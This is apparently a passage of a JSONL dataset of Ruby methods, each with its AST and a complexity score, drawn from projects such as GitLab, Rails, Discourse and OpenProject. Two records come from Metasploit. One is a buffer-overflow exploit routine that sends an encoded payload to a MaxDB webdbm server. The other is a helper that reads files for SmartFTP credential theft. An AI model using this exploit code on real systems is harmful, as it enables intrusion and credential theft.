":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"lvar\",\"children\":[\"app_dir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel_checks\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_results_json\"]},{\"type\":\"lvar\",\"children\":[\"report_file\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_fixed\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[null,\"assert_new\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"ignored_warnings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"obsolete\"]}]}]}]}]}","id":"c1f6376a-9515-49fc-a141-2db7494a82d3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/test_data/cleanup_service.rb","start_line":5,"raw_source":"def call\n      Rails.logger.info 'Cleaning up any existing test data...'\n\n      return log_no_file_found unless file_exists?\n\n      account_ids = parse_account_ids_from_file\n\n      if account_ids.any?\n        delete_accounts(account_ids)\n      else\n        log_no_accounts_found\n      end\n\n      delete_data_file\n      Rails.logger.info '==> Cleanup complete!'\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Cleaning up any existing test data...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_exists?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_no_file_found\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"account_ids\",{\"type\":\"send\",\"children\":[null,\"parse_account_ids_from_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_ids\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"delete_accounts\",{\"type\":\"lvar\",\"children\":[\"account_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"log_no_accounts_found\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_data_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"==> Cleanup complete!\"]}]}]}]}","id":"6d73ef6e-26df-4dc2-9c01-3001835a6f2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/maxdb_webdbm_database.rb","start_line":59,"raw_source":"def exploit\n    connect\n\n    server = rand_text_english(5, payload_badchars)\n    user = rand_text_english(5, payload_badchars)\n    pass = rand_text_english(5, payload_badchars)\n    port = rand(65535).to_s\n\n    sploit = rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')\n    sploit << payload.encoded\n\n    req = \"Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}\"\n    req << \"&User=#{user}&Password=#{pass}\"\n\n    res = \"POST /webdbm HTTP/1.1\\r\\n\" + \"Host: #{rhost}:#{port}\\r\\n\"\n    res << \"Content-Length: #{req.length}\" + \"\\r\\n\\r\\n\" + req + \"\\r\\n\"\n\n    print_status(\"Trying target %s...\" % target.name)\n\n    sock.put(res)\n\n    # give wahttp.exe a bit to recover...\n    select(nil, nil, nil, 2)\n\n    handler\n    disconnect\n  end","complexity_score":50.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[65535]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[91]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Event=DBM_LOGON&Action=LOGON&Server=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]}]},{\"type\":\"str\",\"children\":[\"&Database=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&User=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"&Password=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"POST /webdbm HTTP/1.1\\r\\n\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"length\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target %s...\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"9ccbc27e-870b-40bf-bbd6-7fe98c1fd318"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/smartftp.rb","start_line":90,"raw_source":"def get_xml(path)\n    connections = client.fs.file.new(path, 'r')\n\n    condata = ''\n    condata << connections.read until connections.eof\n    return condata\n  rescue Rex::Post::Meterpreter::RequestError => e\n    print_error \"Received error code #{e.code} when reading #{path}\"\n    return nil\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connections\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"fs\"]},\"file\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"r\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"condata\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connections\"]},\"eof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connections\"]},\"read\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condata\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received error code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" when reading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]}","id":"03aa9f80-1025-4964-a67d-3158339539de"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/markup_extractor.rb","start_line":116,"raw_source":"def extract(path, prefix: \"/Markup/Topic/\".freeze, attribute: false)\n      path = [prefix, path.to_s].join(\"\")\n      extract_from_node(path, doc, attribute:)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/Markup/Topic/\"]},\"freeze\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"attribute\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_s\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"extract_from_node\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"doc\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]}]}","id":"80f87659-6070-4ef9-9b03-5c180907302f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/command/test_ctl.rb","start_line":9,"raw_source":"def assert_win32_event(event_name, command, pid_or_svcname)\n    event = Win32::Event.new(event_name)\n    ipc = Win32::Ipc.new(event.handle)\n    ret = Win32::Ipc::TIMEOUT\n\n    wait_thread = Thread.new do\n      ret = ipc.wait(1)\n    end\n    Fluent::Ctl.new([command, pid_or_svcname]).call\n    wait_thread.join\n    assert_equal(Win32::Ipc::SIGNALED, ret)\n  end","complexity_score":15.93,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_win32_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"arg\",\"children\":[\"pid_or_svcname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Win32\"]},\"Event\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ipc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Win32\"]},\"Ipc\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"handle\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Win32\"]},\"Ipc\"]},\"TIMEOUT\"]}]},{\"type\":\"lvasgn\",\"children\":[\"wait_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipc\"]},\"wait\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Ctl\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"pid_or_svcname\"]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_thread\"]},\"join\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Win32\"]},\"Ipc\"]},\"SIGNALED\"]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}","id":"d71b726b-b4cc-4281-a14f-c362ec16151c"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/op_turbo/stream_component_preview.rb","start_line":37,"raw_source":"def default(_action: \"append\", target: \"model_id\")\n      template = template_example_from_action(_action, target)\n      render_with_template(locals: { template:, action: _action, target: })\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"_action\",{\"type\":\"str\",\"children\":[\"append\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"target\",{\"type\":\"str\",\"children\":[\"model_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[null,\"template_example_from_action\",{\"type\":\"lvar\",\"children\":[\"_action\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_with_template\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"_action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]}]}]}]}]}","id":"738af66d-22c4-48ea-96fc-fe8ce16d9499"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/partitions/setup_default_service.rb","start_line":26,"raw_source":"def setup_current_partition\n        Ci::Partition\n          .find(Ci::Pipeline.current_partition_value)\n          .update!(status: Ci::Partition.statuses[:current])\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_current_partition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Partition\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"current_partition_value\"]}]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Partition\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current\"]}]}]}]}]}]}","id":"cf42b1ab-2f3f-4f9a-8727-fd40b026fe2d"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1665,"raw_source":"def test_assert_no_performed_jobs_with_except_option_failure\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_no_performed_jobs except: LoggingJob do\n          HelloJob.perform_later(\"jeremy\")\n          LoggingJob.perform_later\n        end\n      end\n\n      assert_match(/0 .* but 1/, error.message)\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_with_except_option_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"0 .* but 1\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"07e14467-0978-43a3-90ef-3db1e1872da8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/user_consent_helper.rb","start_line":32,"raw_source":"def consent_param?\n    params[:consent_check].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"consent_param?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"consent_check\"]}]},\"present?\"]}]}","id":"d981a9f8-4b1f-46cc-8eed-19485bcd36d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/packages/nuget/service_index_presenter.rb","start_line":45,"raw_source":"def available_services\n        case scope\n        when :group\n          GROUP_LEVEL_SERVICES\n        when :project\n          (GROUP_LEVEL_SERVICES + PROJECT_LEVEL_SERVICES).flatten\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"available_services\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"const\",\"children\":[null,\"GROUP_LEVEL_SERVICES\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GROUP_LEVEL_SERVICES\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"PROJECT_LEVEL_SERVICES\"]}]}]},\"flatten\"]}]},null]}]}","id":"73dd64b8-ea8c-4920-a5be-92204a44248b"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20250617064103_migrate_experimental_system_themes_site_setting_to_enum.rb","start_line":3,"raw_source":"def up\n    execute <<~SQL\n      UPDATE\n        \"site_settings\"\n      SET\n        \"data_type\" = 8,\n        \"value\" = 'foundation|horizon'\n      WHERE\n        \"name\" = 'experimental_system_themes' AND\n        \"value\" = 't' AND\n        \"data_type\" = 5\n    SQL\n\n    execute <<~SQL\n      UPDATE\n        \"site_settings\"\n      SET\n        \"data_type\" = 8,\n        \"value\" = ''\n      WHERE\n        \"name\" = 'experimental_system_themes' AND\n        \"value\" = 'f' AND\n        \"data_type\" = 5\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"site_settings\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"data_type\\\" = 8,\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"value\\\" = 'foundation|horizon'\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"name\\\" = 'experimental_system_themes' AND\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"value\\\" = 't' AND\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"data_type\\\" = 5\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"site_settings\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"data_type\\\" = 8,\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"value\\\" = ''\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"name\\\" = 'experimental_system_themes' AND\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"value\\\" = 'f' AND\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"data_type\\\" = 5\\n\"]}]}]}]}]}","id":"087cd8e4-14cd-45fb-a3b0-5e92ab773695"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/filters/statuses_controller.rb","start_line":31,"raw_source":"def set_status_filters\n    @status_filters = @filter.statuses.preload(:status).page(params[:page]).per(PER_PAGE)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_status_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@status_filters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter\"]},\"statuses\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"const\",\"children\":[null,\"PER_PAGE\"]}]}]}]}","id":"0326ab58-6689-496d-b172-d7356356cec0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_agenda_items/item_component.rb","start_line":64,"raw_source":"def call\n      component_wrapper(:border_box_row, **wrapper_arguments) do\n        case @state\n        when :show\n          render(MeetingAgendaItems::ItemComponent::ShowComponent.new(**show_component_params))\n        when :edit\n          render(MeetingAgendaItems::ItemComponent::EditComponent.new(**child_component_params))\n        end\n      end\n    end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component_wrapper\",{\"type\":\"sym\",\"children\":[\"border_box_row\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapper_arguments\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingAgendaItems\"]},\"ItemComponent\"]},\"ShowComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_component_params\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingAgendaItems\"]},\"ItemComponent\"]},\"EditComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child_component_params\"]}]}]}]}]}]},null]}]}]}","id":"2afc9223-2a0c-4347-b50e-9c4588b49048"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-solved/lib/discourse_solved/guardian_extensions.rb","start_line":22,"raw_source":"def can_accept_answer?(topic, post)\n      return false if !authenticated?\n      if !topic || topic.private_message? || !post || post.post_number <= 1 || post.whisper?\n        return false\n      end\n      return false if !allow_accepted_answers?(topic.category_id, topic.tags.map(&:name))\n\n      return true if is_staff?\n      if current_user.in_any_groups?(SiteSetting.accept_all_solutions_allowed_groups_map)\n        return true\n      end\n      return true if is_category_group_moderator?(topic.category)\n\n      topic.user_id == current_user.id && !topic.closed && SiteSetting.accept_solutions_topic_author\n    end","complexity_score":47.1,"ast_json":"{\"type\":\"def\",\"children\":[\"can_accept_answer?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticated?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"private_message?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]},\"<=\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"whisper?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_accepted_answers?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]}